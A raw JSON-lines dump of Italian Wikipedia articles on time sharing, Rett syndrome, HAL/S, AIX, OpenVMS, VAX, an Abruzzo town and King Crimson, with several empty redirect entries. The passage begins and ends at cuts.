\nLa ripartizione di tempo \u00e8 l'estensione logica della multiprogrammazione e nasce per realizzare un sistema multiutente: l'unit\u00e0 di elaborazione centrale del computer centrale viene utilizzata per rispondere alle richieste dei singoli utenti, passando rapidamente da uno all'altro (commutazione di contesto), dando cos\u00ec l'impressione ad ognuno di avere a disposizione il computer centrale interamente per s\u00e9, ovvero dando l'impressione di un processamento multiplo in parallelo di pi\u00f9 processi verso pi\u00f9 utenti.\nDal momento che i primi computer mainframe erano estremamente costosi, non era possibile garantire l'accesso esclusivo ad un singolo utilizzatore per l'uso in modo interattivo, poich\u00e9 in questa modalit\u00e0 i computer trascorrevano molto tempo in attesa dell'input dell'utente. Si pens\u00f2, quindi, di far utilizzare a pi\u00f9 utenti lo stesso elaboratore, utilizzando i tempi morti per servire i diversi utenti a rotazione. Allo stesso modo, le piccole porzioni di tempo che trascorrevano nell'attesa dei dispositivi, quali dischi, nastro magnetico o rete potevano essere utilizzati per servire i vari utenti. I computer capaci di fornire servizi in time-sharing normalmente venivano impiegati per lavori in batch durante la notte.\nDa sole, queste soluzioni non erano sufficienti per costruire un sistema di time-sharing perfettamente funzionante. Per fare in modo che il servizio a pi\u00f9 utenti fosse uniforme, era necessario un sistema che gestisse anche i processi che non fanno pause per l'attesa di input, quali i programmi che impiegavano molte risorse, ad esempio per calcoli di grande precisione. Si rendeva necessario un sistema di interrupt hardware, capace di mettere in pausa un processo in esecuzione, per dare tempo al processore di eseguire un altro processo in attesa.\nQuesto concetto fu descritto pubblicamente la prima volta all'inizio del 1957 da Bob Bemer in un articolo nella rivista \"Automatic Control Magazine\". Il primo progetto ad implementare un sistema di time-sharing fu iniziato da John McCarthy alla fine del 1957. Sebbene egli lo abbandon\u00f2 per lavorare al Project MAC e ad altri progetti, uno dei risultati del suo lavoro, noto come \"Computer Time Sharing System\" o CTSS, fu reso pubblico nel novembre 1961 e costituisce, molto probabilmente, il primo sistema di time-sharing, che \u00e8 rimasto in uso fino al 1973. Il primo tentativo di introduzione commerciale del sistema in time-sharing, che poi si \u00e8 diffuso ampiamente alla fine degli anni 1960 e nei primi anni 1970 \u00e8 stato il \"Dartmouth Time Sharing System\" o DTSS che \u00e8 stato implementato per la prima volta al Dartmouth College nel 1964 ed in seguito ha costituito la base del servizio di computer bureau di General Electric.\nA volte l'invenzione del concetto di time-sharing viene attribuita a Christopher Strachey. Tuttavia, sebbene egli abbia utilizzato il termine time-sharing, il concetto che egli descrisse \u00e8 oggi noto come multitasking. Il time-sharing \u00e8 correlato al multitasking nel senso che in ambedue i sistemi un singolo computer esegue pi\u00f9 processi in modo che appare simultaneo. Tuttavia il time-sharing fa riferimento ad un computer che supporta pi\u00f9 utenti simultaneamente, mentre il multitasking \u00e8 un termine pi\u00f9 ampio che implica l'esecuzione di pi\u00f9 processi, indipendentemente dal numero degli utenti."}
{"id": "26329", "revid": "125366704", "url": "https://it.wikipedia.org/wiki?curid=26329", "title": "Sindrome di Rett", "text": "La sindrome di Rett \u00e8 una grave malattia neurologica, che colpisce nella maggior parte dei casi soggetti di sesso femminile.\nLa malattia \u00e8 congenita, anche se non subito evidente, e si manifesta durante il secondo anno di vita e comunque entro i primi quattro anni. Colpisce circa un bambino su 10.000. Si possono osservare gravi ritardi nell'acquisizione del linguaggio e nell'acquisizione della coordinazione motoria. Spesso la sindrome \u00e8 associata a ritardo mentale gravissimo o la totale assenza mentale. La perdita delle capacit\u00e0 di prestazione \u00e8 generalmente persistente e progressiva.\nLa sindrome di Rett provoca gravi disturbi a molti livelli, rendendo chi ne \u00e8 affetto dipendente dagli altri per tutta la vita. La sindrome prende il nome da Andreas Rett, il professore di origine austriaca, che per primo la descrisse nel 1966.\nI sintomi.\nLa malattia si presenta in 4 stadi: dopo una fase iniziale di sviluppo normale, si assiste a un arresto dello sviluppo e poi a una regressione, o perdita delle capacit\u00e0 acquisite (stadio 1). Si osserva un rallentamento dello sviluppo del cranio (di grandezza normale alla nascita) rispetto al resto del corpo tra i primi 5 e i 48 mesi di vita; uno sviluppo psicomotorio normale entro i primi 5 mesi di vita, con successiva perdita delle capacit\u00e0 manuali precedentemente sviluppate e comparsa di movimenti stereotipati delle mani (torcerle, batterle, muoverle, stringerle). Si assiste anche a una progressiva perdita di interesse per l'ambiente sociale, stereotipie manuali ad hand-washing anomalie all'EEG e microcefalia acquisita (stadio 2). Nel terzo stadio che si verifica prima dei 10 anni abbiamo un lieve miglioramento con un interesse per l'ambiente esterno, per\u00f2 restano l'inabilit\u00e0 a parlare e compare una severa scoliosi. Al quarto stadio abbiamo la comparsa di una tetraparesi spastica, tale comparsa avviene solitamente dopo il 10 anno di vita.\nPossono essere anche presenti: irregolarit\u00e0 nella respirazione; anomalie dell'EEG; epilessia (oltre il 50% delle persone affette ha avuto almeno una crisi epilettica); aumento della rigidit\u00e0 muscolare con l'et\u00e0, che pu\u00f2 anche provocare deformit\u00e0 e atrofie muscolari; deambulazione a base allargata (in circa il 50% dei soggetti); scoliosi; nanismo lieve. Il QI massimo presentato dai soggetti affetti dalla malattia non \u00e8 superiore a 9-11 punti.\nOltre alla variante classica esistono delle forme meno gravi.\nPossibili cause.\nNella maggior parte dei casi, la sindrome di Rett (RTT) \u00e8 causata da mutazioni sporadiche nel gene MECP2, localizzato sulla parte distale del cromosoma X (precisamente nella zona Xq28), deputato alla produzione di una proteina omonima. Tuttavia, sono anche stati osservati casi in cui, pur essendo presente questa anomalia, i soggetti non soddisfacevano i criteri che definiscono la sindrome di Rett.\nIn meno del 10% dei casi, la sindrome \u00e8 causata da mutazioni nei geni CDKL5 o FOXG1. La Sindrome di Rett viene inizialmente diagnosticata mediante osservazione clinica, ma la diagnosi \u00e8 definitiva solo quando si individua un difetto in uno dei suddetti geni. In alcuni casi molto rari, non si riesce a individuare alcuna anomalia in tali geni, e ci\u00f2 suggerisce che anche altri geni mutati possano causare sintomi analoghi a quelli della RTT.\nTrattamenti.\nNon esiste una terapia risolutiva per la sindrome di Rett. Tuttavia, studi recenti, in particolare su modelli murini, hanno mostrato che riportando i livelli di MECP2 a valori fisiologici \u00e8 possibile in massima parte ripristinare le funzioni compromesse dalla malattia. Un'altra area di ricerca \u00e8 basata sull'uso del fattore IGF-1 (Insulin-like Growth Factor 1).\nInoltre, gran parte degli autori ritiene che il decorso della malattia possa essere modificato da una variet\u00e0 di terapie, mirate a ritardare la progressione della disabilit\u00e0 motoria e a migliorare le capacit\u00e0 di comunicazione. Per questo la somministrazione di farmaci \u00e8 volta principalmente a contrastare il disturbo motorio. Sono stati impiegati L-dopa e dopamino-agonisti. Tra questi, la bromocriptina e la lisuride hanno dato alcuni esiti positivi.\nMiglioramenti nei sintomi respiratori e comportamentali, e nelle crisi epilettiche, si sono riscontrati con la somministrazione di naltrexone, che blocca l'azione delle endorfine antagonizzando i recettori oppiacei. Per contrastare le crisi epilettiche sono impiegati con successo anche gli antiepilettici tradizionali (carbamazepina e valproato di sodio), o pi\u00f9 recenti (lamotrigina e gabapentin).\nI farmaci si affiancano a terapie volte a conseguire miglioramenti sul piano educativo, cognitivo, comportamentale ed emozionale.\nNei primi anni di vita si consiglia un trattamento di tipo psicomotorio: lo scopo \u00e8 mantenere le funzioni che erano state acquisite affinch\u00e9 non vadano perse; si parla quindi delle abilit\u00e0 relative all'uso della comunicazione (non solo strettamente linguistica ma anche gestuale, mimica, tonica), delle modulazioni affettive emozionali (gestione dei comportamenti emozionali problematici, soluzioni e strategie sostituive per affrontarle), del mantenimento delle abilit\u00e0 motorie (non solo a livello esecutivo pratico, ma anche a livello cognitivo nella elaborazione dello schema corporeo), dell'utilizzo dello spazio (sua organizzazione e investimento) e del tempo, della motivazione del soggetto; il tutto in questa terapia viene incoraggiato con strategie ludiche.\nPer l'incoraggiamento della componente comunicativo-linguistica si raccomanda il trattamento logopedico.\nCon il procedere degli anni si consigliano lavori volti alla maturazione emozionale come l'ippoterapia, la pet therapy, la musicoterapia.\nCriteri diagnostici del disturbo di Rett.\nSebbene Il disturbo di Rett sia stato rimosso nel DSM-5 (\"Diagnostic and Statistical Manual of Mental Disorders\", Manuale diagnostico dei disturbi psichiatrici dell'American Psychiatric Association), \u00e8 catalogato nel DSM-IV (all'interno di una categoria pi\u00f9 generale, i Disturbi pervasivi dello sviluppo, dove viene diagnosticato in base alla presenza di un certo numero di indicatori comportamentali.\nI criteri diagnostici sono organizzati nel seguente schema:\nVarianti della Sindrome di Rett.\nSono state descritte delle varianti cliniche, le principali sono:\nPer questo motivo, la definizione stessa della patologia \u00e8 stata affinata nel corso degli anni: poich\u00e9 accanto alla forma classica sussistono anche forme atipiche (Hagberg &amp; Gillberg, 1993) \u00e8 stato introdotto l'utilizzo della terminologia di \u201cRett Complex\u201d."}
{"id": "26335", "revid": "287204", "url": "https://it.wikipedia.org/wiki?curid=26335", "title": "Andrian", "text": ""}
{"id": "26336", "revid": "486946", "url": "https://it.wikipedia.org/wiki?curid=26336", "title": "Eppan an der Weinstrasse", "text": ""}
{"id": "26337", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26337", "title": "Branzoll", "text": ""}
{"id": "26339", "revid": "486946", "url": "https://it.wikipedia.org/wiki?curid=26339", "title": "Kaltern an der Weinstrasse", "text": ""}
{"id": "26342", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26342", "title": "Karneid", "text": ""}
{"id": "26344", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26344", "title": "Pfalzen", "text": ""}
{"id": "26345", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26345", "title": "Lajen", "text": ""}
{"id": "26346", "revid": "339392", "url": "https://it.wikipedia.org/wiki?curid=26346", "title": "Leifers", "text": ""}
{"id": "26347", "revid": "34971", "url": "https://it.wikipedia.org/wiki?curid=26347", "title": "HAL/S", "text": "HAL/S \u00e8 un linguaggio real-time per applicazioni aerospaziali, conosciuto per il suo utilizzo nello Space Shuttle. \u00c8 stato sviluppato negli anni settanta dalla Intermetrics per la NASA.\nHAL/S \u00e8 stato scritto utilizzando XPL, un dialetto del PL/I.\nI tre fattori chiave presi in considerazione nella stesura del linguaggio sono stati: affidabilit\u00e0, efficienza e indipendenza dall'hardware.\nIl linguaggio \u00e8 stato concepito in modo da poter rendere compiti, quali il calcolo vettoriale associato alle operazioni aerospaziali, facilmente comprensibili alle persone che possiedono nozioni in materia.\nAlcune funzionalit\u00e0 come i salti incondizionati (come i GOTO del BASIC) sono stati implementati principalmente per facilitare le traduzioni meccaniche da altri linguaggi, le parole chiave sono tutte riservate (non \u00e8 possibile definire variabili con lo stesso nome), tutte funzionalit\u00e0 pensate per ridurre i possibili errori di codifica e rendere i programmi facilmente comprensibili.\n\"HAL\" \u00e8 stato suggerito come nome del linguaggio da Ed Copps, un fondatore di Intermetrics, in onore di Hal Laning, un suo collega del MIT."}
{"id": "26348", "revid": "2149408", "url": "https://it.wikipedia.org/wiki?curid=26348", "title": "Auer", "text": ""}
{"id": "26349", "revid": "2", "url": "https://it.wikipedia.org/wiki?curid=26349", "title": "Quartu San'Elena", "text": ""}
{"id": "26350", "revid": "104458", "url": "https://it.wikipedia.org/wiki?curid=26350", "title": "St. Ulrich", "text": ""}
{"id": "26351", "revid": "287204", "url": "https://it.wikipedia.org/wiki?curid=26351", "title": "Ritten", "text": ""}
{"id": "26353", "revid": "486946", "url": "https://it.wikipedia.org/wiki?curid=26353", "title": "Salurn", "text": ""}
{"id": "26355", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26355", "title": "Sarntal", "text": ""}
{"id": "26356", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26356", "title": "Terenten", "text": ""}
{"id": "26357", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26357", "title": "Terlan", "text": ""}
{"id": "26360", "revid": "9", "url": "https://it.wikipedia.org/wiki?curid=26360", "title": "Pfatten", "text": ""}
{"id": "26362", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26362", "title": "Windows (disambigua)", "text": ""}
{"id": "26363", "revid": "58775", "url": "https://it.wikipedia.org/wiki?curid=26363", "title": "Tempo reale", "text": ""}
{"id": "26364", "revid": "778394", "url": "https://it.wikipedia.org/wiki?curid=26364", "title": "Time sharing", "text": ""}
{"id": "26365", "revid": "21880", "url": "https://it.wikipedia.org/wiki?curid=26365", "title": "Polycycnis", "text": "Polycycnis \u00e8 un genere di piante appartenente alla famiglia delle Orchidacee.\nIl suo nome deriva dal greco \"polys\" (molti) e \"kyknos\" (cigno) per la forma del suo labello che ricorda appunto il collo e la testa di un cigno.\nDescrizione.\nSono orchidee epifite con fusti corti e foglie venate; i fiori sono eretti su racemi penduli, hanno petali e labello grandi.\nDistribuzione e habitat.\nIl genere \u00e8 diffuso in America centrale (Costa Rica, Honduras, Panama) e meridionale (Bolivia, nord-est del Brasile, Colombia, Ecuador, Guyana, Suriname, Per\u00f9, Venezuela).\nTassonomia.\nComprende le seguenti specie:\nColtivazione.\nIl terreno che le \"Polycycnis\" richiedono \u00e8 composto da osmunda e sfagno in parti uguali che verr\u00e0 posto in cestelli appesi in serra calda e umida (l'umidit\u00e0 \u00e8 importante specialmente nel periodo vegetativo).\nDurante il periodo invernale la temperatura in serra non dovr\u00e0 scendere sotto i 13\u00a0\u00b0C e le annaffiature andranno ridotte mentre dovranno essere regolari e abbondanti nel periodo estivo. La moltiplicazione avviene per divisione durante il periodo primaverile."}
{"id": "26366", "revid": "1457011", "url": "https://it.wikipedia.org/wiki?curid=26366", "title": "AIX (sistema operativo)", "text": "AIX, acronimo di Advanced Interactive eXecutive, \u00e8 il marchio registrato dall'IBM che rappresenta la versione proprietaria del sistema operativo Unix sviluppato dalla societ\u00e0.\nCaratteristiche.\nInizialmente AIX aveva notevoli differenze rispetto ad un sistema UNIX, ma con il passare del tempo la maggior parte delle differenze sono state eliminate. La prima versione di AIX era eseguita su macchine RT/PC e venne presentata nel 1986. Inizialmente era basato sul System V Release 3.\nSin dal 1989 AIX \u00e8 il sistema operativo delle macchine della serie RS/6000 e dei relativi server AIX/6000. Durante lo sviluppo di AIX caratteristiche derivate da BSD 4.2 e 4.3 furono fuse nel sistema operativo. Queste inglobazioni furono effettuate da IBM e INTERACTIVE Systems Corporation (sotto contratto con IBM).\nAIX ha la reputazione di essere un sistema operativo tipo UNIX, sebbene siano presenti numerose differenze che possono addirittura arrivare a confondere un esperto utente *nix.\nAlcune delle caratteristiche pi\u00f9 famose di AIX sono la disponibilit\u00e0 di comandi come chuser, mkuser e rmuser e similari per permettere agli amministratori una gestione rapida degli utenti. IBM sta gradualmente includendo in AIX diversi programmi open source disponibili su altri sistemi UNIX.\nNell'ottobre del 2007 IBM ha presentato la versione 6 del sistema operativo: questa versione si differenzia dalla precedente per una migliore gestione della virtualizzazione e per il supporto del processore POWER6."}
{"id": "26367", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26367", "title": "Vms", "text": ""}
{"id": "26368", "revid": "2091656", "url": "https://it.wikipedia.org/wiki?curid=26368", "title": "OpenVMS", "text": "OpenVMS (Open Virtual Memory System o originariamente solo VMS) \u00e8 un sistema operativo sviluppato per server e computer basati su architetture VAX o Alpha sviluppate da Digital Equipment Corporation di Maynard, Massachusetts (attualmente di propriet\u00e0 di Hewlett-Packard). Dopo lo sviluppo iniziale, \u00e8 stato portato anche su macchine basate sull'architettura Intel Itanium.\nCaratteristiche.\nOpenVMS \u00e8 un sistema operativo multiutente multiprocessore dotato di memoria virtuale sviluppato specificatamente per processi in ambito aziendale e per impieghi real time. Dotato di un'estrema affidabilit\u00e0 \u00e8 in grado di distribuire, attraverso la configurazione cluster, i processi in diverse zone geografiche in modo da poter sopravvivere anche in caso di guasti, rotture o disastri naturali in una delle sedi di elaborazione.\nOpenVMS fu commercializzato con una serie di caratteristiche che ora sono considerate fondamentali nei sistemi ad alte prestazioni. Le principali sono:\nVersioni.\nEsiste la versione FreeVMS rilasciata sotto licenza GPL e una versione con la GUI sperimentale KDE."}
{"id": "26369", "revid": "33689", "url": "https://it.wikipedia.org/wiki?curid=26369", "title": "Virtual Address eXtension", "text": "VAX \u00e8 un'architettura hardware per sistemi a 32 bit sviluppata da DEC verso la met\u00e0 degli anni settanta che supportava un set di istruzioni ortogonale e l'indirizzamento di pagine di memoria virtuale.\nDEC fu successivamente acquisita dalla Compaq, la quale \u00e8 stata a sua volta incorporata dalla Hewlett-Packard.\nIl VAX veniva percepito come l'architettura CISC pi\u00f9 raffinata, per via della vasta gamma di modi di indirizzamento disponibili e per le istruzioni, che includevano persino operazioni complesse, quali l'inserimento e la cancellazione nelle code e il calcolo polinomiale.\nOrigine del nome.\n\"VAX\" era in origine l'acronimo dell'espressione in lingua inglese \"Virtual Address eXtension\", dal momento che il VAX era visto come un'estensione a 32-bit della precedente architettura a 16-bit del PDP-11; le prime versioni dei VAX implementavano una modalit\u00e0 di funzionamento \"compatibile\" che emulava molte delle istruzioni del PDP-11. Le versioni successive abbandonarono tale modalit\u00e0 ed anche alcune delle istruzioni CISC meno utilizzate, a favore di un maggior utilizzo di microcodice o di emulazione da parte del software del sistema operativo.\nIl microcodice sul VAX 11-750 e 780 era persino estensibile dall'utente finale essendo in parte su RAM, ed esempi di FFT mostravano miglioramenti di un fattore 10 nei confronti del normale codice CISC VAX.\nSistemi operativi.\nI VAX potevano caricare diversi sistemi operativi, normalmente BSD UNIX o DECs VAX/VMS (anche il kernel Linux gira ancora oggi su qualche VAX). L'architettura del VAX ed il sistema operativo VMS erano frutto di una ingegnerizzazione e di uno studio per ottenere ciascuno il massimo vantaggio dall'altro, incluse sofisticate capacit\u00e0 di clustering, inizialmente su speciali bus \"CI\" (\"Computer Interconnect\") ma in seguito anche su Ethernet (\"LAVc\", \"Local Area VAXcluster\").\nStoria.\nIl primo modello di VAX venduto sul mercato \u00e8 stato il VAX 11-780, disponibile dal 1978. Furono costruiti diversi modelli, diversi per prezzo, prestazioni e capacit\u00e0. I supermini VAX divennero molto popolari nei primi anni ottanta. Ancora nel 2001 esisteva un certo numero di VAX operativi e Compaq, a quel che si dice, continuava a costruire e vendere un limitato numero di nuove unit\u00e0.\nPer un periodo il VAX 11-780 \u00e8 stato utilizzato come base per le misurazioni delle prestazioni delle CPU (i benchmark), dal momento che la sua velocit\u00e0 era di circa un MIPS. Ironicamente, per\u00f2, il numero di istruzioni realmente eseguite in un secondo era di circa 500.000. Un VAX MIPS era la velocit\u00e0 di un VAX 11-780; un computer che lavorava a 27 VAX MIPS avrebbe permesso di eseguire lo stesso programma approssimativamente 27 volte pi\u00f9 velocemente rispetto al VAX 11-780. All'interno della comunit\u00e0 Digital, il termine \"VUP\" (VAX Unit of Processing) era di utilizzo comune, dal momento che i MIPS non si prestavano bene per i confronti tra architetture diverse.\nIl VAX \u00e8 passato attraverso diverse implementazioni. Il VAX originale era realizzato con una tecnologia TTL e riempiva pi\u00f9 di un armadio rack per una singola CPU. Implementazioni di CPU che consistevano di chip gate array ECL includevano le famiglie 8600, 8800 ed i mainframe della classe 9000. Implementazioni con CPU che consistevano di chip MOSFET appositamente realizzati includevano la famiglia 8100 e 8200. C'erano anche delle implementazioni con microprocessori che includevano il Microvax I, Microvax II, cvax e rigel. I microprocessori VAX permettevano di estendere l'architettura fino alle workstation pi\u00f9 economiche. L'ampia gamma di piattaforme (dal mainframe alla workstation) che utilizzava una singola architettura era un fatto unico nell'industria informatica di quel tempo. \nIl processore VAX \u00e8 stato sostituito nel 1992 dal DEC Alpha (in origine denominato AXP), un processore ad alte prestazioni, con architettura RISC a 64-bit che poteva permettere l'esecuzione di VMS, Tru64 (lo UNIX di DEC), Windows NT, FreeBSD/NetBSD/OpenBSD e GNU/Linux.\nModelli della famiglia VAX.\nNomi operativi tra parentesi.\nNon-LSI VAX:\nLSI VAX:\nControversia sul marchio.\nVAX \u00e8 anche il marchio di un aspirapolvere, inventato negli anni 1970 da Alan Brazier. Lo slogan pubblicitario era \"Nothing sucks like a Vax\" e il doppio senso del termine \"sucks\", \u00abaspira\u00bb o in \"slang\" \u00abfa schifo\u00bb, era spesso oggetto di facile ironia da parte degli utilizzatori dei computer VAX. \nSono stati necessari diversi accordi legali tra la DEC e la VAX corporation sull'uso di tale marchio registrato. I termini dell'accordo riguardavano un contratto di non competizione tra le aziende \u2014 DEC si impegnava a non spostare il proprio business negli elettrodomestici e la VAX corporation non avrebbe intrapreso lo sviluppo di attivit\u00e0 nel ramo dell'informatica. In tale contesto storico, quando molte erano le industrie elettroniche coinvolte nello sviluppo di grandi sistemi informatici, tale accordo \u00e8 molto meno ovvio di quanto pu\u00f2 sembrare a distanza di molti anni."}
{"id": "26370", "revid": "122522336", "url": "https://it.wikipedia.org/wiki?curid=26370", "title": "San Giovanni Lipioni", "text": "San Giovanni Lipioni \u00e8 un comune italiano di abitanti della provincia di Chieti in Abruzzo, facente parte dell'unione dei comuni del Sinello.\nGeografia fisica.\nSan Giovanni Lipioni sorge su un poggio a nord del fiume Trigno. Il suo territorio si estende per 8,67\u00a0km\u00b2, su un'area di media collina.\nStoria.\nLe origini del paese sono incerte per mancanza di documentazioni, tuttavia la presenza italica \u00e8 attestata dal ritrovamento della testa di bronzo e di una statuetta in bronzo alta 14\u00a0cm. e la tavola osca di Agnone attesta in loco la presenza di un tempio pagano ove pi\u00f9 tardi fu riedificata una chiesa. Secondo alcune fonti corrisponderebbe a \"Terventum\", municipio romano costruito su di un \"pagus\". Successivamente fu denominato \"Sanctus Johannes a podio Bacco\" e poi come San Giovanni Lupino, nel XVII secolo cambio il nome nell'attuale.\nMonumenti e luoghi d'interesse.\nProbabilmente risale al XIII-XIV secolo. Il borgo si sviluppa su di un crinale con gli isolati posti a pettine lungo un asse mediano che si sviluppa in asse nord-sud in cui gli edifici principali sono la chiesa parrocchiale sita a nord ed il palazzo Lozzi-Grosso. La chiesa forse era collegata tramite un sottopassaggio (passante per la Porta da Capo) al palazzo baronale Marinelli, oggi non esistente pi\u00f9. Invece, nel palazzo Lozzi-Grosso (risalente al XVII-XVIII secolo) sopravvive un sottopassaggio (passante per la Porta da piedi). Le mura vengono ricordate nei toponimi, tra cui: orto della corte sotto le mura e via sotto le mura. Delle case-mura sono visibili quasi tutti i tratti composti da murature a scarpa ed archi di sostegno delle case servite da strade di servizio passanti per sotto-portici, attraverso gradinate, passaggi arcuati e sotterranei.\n\u00c8 sita in largo della chiesa. Risale al XVI secolo. La facciata \u00e8 a capanna divisa in due livelli da una cornice marcapiano, verticalmente divisa da paraste e lesene. L'esterno \u00e8 stato intonacato ed arredato di frammenti lapidei del XIV secolo tra cui un capitello, un rosone ed un leone stiloforo. La porta \u00e8 in pietra calcarea alternata a laterizio. L'interno \u00e8 stato rinnovato tra la fine del XVIII secolo e l'inizio del XIX secolo \u00e8 a navata unica. L'organo \u00e8 stato portato via insieme agli arredamenti nel dopoguerra. La chiesa \u00e8 stata costruita nel 1504. La chiesa sorge sulla sommit\u00e0 del paese, \n\u00c8 sita in via fontana vecchia. Del 1808 \u00e8 il primo restauro poi ripreso nel 1821. Un secondo restauro risale al 1832. Invece, del 1844, \u00e8 una ristrutturazione globale col recupero delle vene acquifere. La fontana \u00e8 composta da pilastro, archi a tutto sesto, mascheroni e lastre a figure vegetali ed animali, forse provenienti da una fontana preesistente. \nXVI secolo. La cerchia urbana di San Giovanni ripete lo schema dell'insediamento di crinale \u201ccon sviluppo a pettine bifrontale con isolati disposti perpendicolarmente ad un asse mediano\u201d con asse Nord-Sud. L'asse mediano corrisponde ancora oggi a due importanti edifici architettonici: la chiesa parrocchiale ed il Palazzo Lozzi.\nEconomia.\nLa marcata tendenza verso il decremento della popolazione ha determinato l'assenza di significative forme di occupazione. \u00c8 presente una cooperativa, operante nel settore dell'edilizia. Prevalgono le piccole imprese agricole, dedite alla produzione di olio, vino e frutta.\nSport.\nCalcio.\nA San Giovanni Lipioni dal 1997 \u00e8 attiva la Associazione Sportiva Sangiovannese.\nDa ricordare il giorno 11 maggio 2008 la sfida TORREBRUNA-ASS 0-3 con la squadra sangiovannese che accede per la prima volta nella sua storia nei play-off. Vittoria doppiamente importante perch\u00e9 l'ASS perdeva con il TORREBRUNA da ben 10 anni."}
{"id": "26371", "revid": "436907", "url": "https://it.wikipedia.org/wiki?curid=26371", "title": "King Crimson", "text": "I King Crimson sono un gruppo musicale rock progressivo britannico, fondato nel 1969 a Londra.\nSpesso classificato come prettamente progressive, il gruppo ha subito le influenze di diversi generi musicali durante il corso della sua esistenza, tra i quali: jazz, folk, musica classica, musica sperimentale, rock psichedelico, hard rock, heavy metal, new wave, gamelan, musica elettronica e drum and bass. Per contro, i King Crimson hanno influenzato molti artisti contemporanei, creando una sorta di culto attorno al loro nome.\nPur essendo nato in Inghilterra, il gruppo ha visto tra le sue file anche musicisti statunitensi (a partire dal 1981) e attualmente \u00e8 in parte composto da questi ultimi. Negli oltre cinquant'anni di attivit\u00e0 del gruppo la sua formazione ha subito numerosi e radicali cambiamenti: si sono avvicendati al suo interno ben ventitr\u00e9 musicisti. Unica costante \u00e8 stata la presenza del chitarrista Robert Fripp, membro fondatore e indubbio cardine di tutta la storia del gruppo.\nLa prima formazione del gruppo, quella risalente al 1969, \u00e8 stata determinante nella sua storia, nonostante la breve durata. Gi\u00e0 nel 1970, infatti, i King Crimson divennero un gruppo piuttosto instabile e pertanto non ebbero modo di promuovere in concerto i due album registrati in quell'anno; torneranno sul palco, dopo nuovi avvicendamenti, solo nel 1971. I lavori di questa prima formazione sono caratterizzati da una profonda esplorazione e fusione di generi, quali il jazz, il funk e la musica da camera. Dal 1972, a seguito di un nuovo radicale cambiamento di organico, il gruppo divenne pi\u00f9 stabile e cominci\u00f2 a prevalere l'aspetto dell'improvvisazione, che mescolava hard rock, musica classica, free jazz e fusion, almeno sino al 1974, anno che segna l'inizio di un lungo periodo di pausa.\nNel 1981, dopo sette anni di inattivit\u00e0, il gruppo si riun\u00ec nuovamente, con una nuova formazione: questo periodo, che si concluse circa tre anni dopo, fu caratterizzato da una forte influenza della nascente new wave. In successive riunioni i King Crimson hanno radicalmente riveduto le proprie sonorit\u00e0, ora in tutto influenzato dai generi musicali di pi\u00f9 recente nascita, come l'industrial rock e il grunge. Questo spirito di rinnovamento musicale non si \u00e8 mai spento ed \u00e8 tutt'oggi una delle caratteristiche portanti del gruppo. La storia dei King Crimson \u00e8 dunque segnata anche da ricorrenti periodi di stasi, spesso sanciti dalle decisioni di Robert Fripp. Il chitarrista e i suoi colleghi riappaiono in varie combinazioni nell'ambito dei cosiddetti \"ProjeKCts\", successione variabile di side-project iniziata nel 1997, la cui ultima incarnazione ha visto collaborare Fripp e Mel Collins (che aveva lasciato i King Crimson nel 1972) con il chitarrista e autore Jakko Jakszyk, in un progetto che vede anche la partecipazione di Tony Levin e Gavin Harrison, entrambi \"transitati\" nei King Crimson nel corso degli anni. Da quest'ultima formazione \u00e8 poi derivato il vero e proprio ritorno in attivit\u00e0 dei King Crimson, a partire dal settembre 2013.\nStoria del gruppo.\nLe origini.\nNell'agosto del 1967, i fratelli Michael Giles (batterista) e Peter Giles (bassista), gi\u00e0 membri di diverse band del Dorset sin dalla loro prima adolescenza, cominciarono a cercare un organista-cantante per dare inizio ad un loro personale progetto musicale. Un loro giovane conterraneo, il chitarrista Robert Fripp, rispose all'annuncio e i tre formarono cos\u00ec il trio Giles, Giles &amp; Fripp.\nBasato su una sorta di eccentrico pop affiancato a complessi brani strumentali, il gruppo registr\u00f2 una serie di singoli di scarso successo e un album, dal titolo \"The Cheerful Insanity of Giles, Giles &amp; Fripp\". Il trio rimase a galla per un po', partecipando ad alcuni programmi televisivi e radiofonici, ma non raggiunse mai la vetta decisiva del successo commerciale. Peraltro, lo stesso album fu lapidariamente criticato dal batterista degli Who, Keith Moon, su una rivista specializzata. Nel tentativo di espandere il loro range sonoro, Giles, Giles &amp; Fripp ingaggiarono il polistrumentista Ian McDonald, che port\u00f2 con s\u00e9 anche la fidanzata e cantante Judy Dyble, ex Fairport Convention \u2013 il cui rapporto con la band fu per\u00f2 breve, e si concluse contemporaneamente a quello sentimentale con McDonald \u2013 e, soprattutto, l'artista Peter Sinfield, col quale gi\u00e0 scriveva canzoni. Il loro rapporto nacque dalla spinta di McDonald, il quale, visto l'insuccesso della band in cui suonava, gli propose di scrivere assieme alcune canzoni, tra cui anche \"The Court of the Crimson King\".\nNel frattempo Fripp gi\u00e0 cominciava a fare nuove esperienze: in quel periodo vide al Marquee Club il gruppo dei Clouds, che pi\u00f9 avanti influenzeranno molto lo stile dei King Crimson, specie per alcune melodie ispirate alla musica classica e al jazz. Tuttavia, poco tempo dopo, Fripp, che cominciava a risentire degli scarsi risultati commerciali e auspicava una virata verso sonorit\u00e0 meno pop, propose a Michael Giles un cambio di formazione con l'amico Greg Lake che avrebbe sostituito lui come chitarrista oppure Peter \u2013 che sin dagli inizi era stato una delle maggiori forze trainanti del trio \u2013 nel doppio ruolo di frontman e bassista. Fu Peter Giles ad andarsene, liquidando in seguito la proposta di Fripp di abbandonare il gruppo come un'\"abile mossa politica\". Era l'alba dei King Crimson.\n\"King Crimson I\" (1969).\nLa prima prova in assoluto di Fripp, McDonald e Mike Giles con Lake, pi\u00f9 Sinfield, avviene a Londra nello scantinato di un caff\u00e8 al 193 di Fulham Palace Road, il 13 gennaio 1969. Il nome \"King Crimson\" fu coniato il 23 gennaio da Peter Sinfield a partire dal \"Re Cremisi\" (\"Crimson King\") del suo brano, neologismo anch'esso che il poeta adotta come sinonimo di Beelzebub, principe dei demoni.\nA questo punto, Ian McDonald era il principale compositore della band, pur col contributo significativo di Lake e Fripp; Sinfield, oltre che curare i testi, si occupava di disegnare e progettare i rivoluzionari impianti di illuminazione che avrebbero caratterizzato le performance live; fu pertanto accreditato come \"ingegnere del suono e del 